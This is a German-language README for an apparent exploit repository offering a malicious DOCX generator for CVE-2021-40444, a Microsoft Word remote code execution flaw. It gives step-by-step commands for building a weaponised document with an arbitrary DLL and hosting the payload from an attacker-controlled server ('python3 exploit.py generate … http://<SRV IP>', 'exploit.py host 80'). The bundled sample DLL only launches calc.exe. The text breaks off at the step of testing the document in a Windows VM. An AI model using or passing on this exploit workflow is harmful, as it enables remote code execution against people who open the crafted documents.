hqdat809/cve-2021-40444Bösartiger DOCX-Generator, der CVE-2021-40444 für Remotecodeausführung über präparierte Office-Dokumente ausnutzt, mit integriertem Hosting-Server zur Payload-Auslieferung.
Böswilliger docx-Generator zur Ausnutzung von CVE-2021-40444 (Microsoft Office Word Remote-Codeausführung)
Die Erstellung dieses Skripts basiert auf Reverse Engineering der im Feld verwendeten Probe: 938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52 (docx-Datei)
Sie müssen zuerst lcab installieren (sudo apt-get install lcab)
Überprüfen Sie REPRODUCE.md für manuelle Reproduktionsschritte
Wenn Ihre generierte CAB-Datei nicht funktioniert, versuchen Sie, die exploit.html-URL auf calc.cab zu verweisen
Generieren Sie zuerst ein bösartiges docx-Dokument mit einer DLL. Sie können das unter test/calc.dll verwenden, das lediglich einen calc.exe durch einen Aufruf von system() öffnet.
python3 exploit.py generate test/calc.dll http://<SRV IP>
Sobald Sie das bösartige docx generiert haben (wird unter out/ abgelegt), können Sie den Server einrichten:
sudo python3 exploit.py host 80
Testen Sie schließlich das docx in einer Windows-VM:
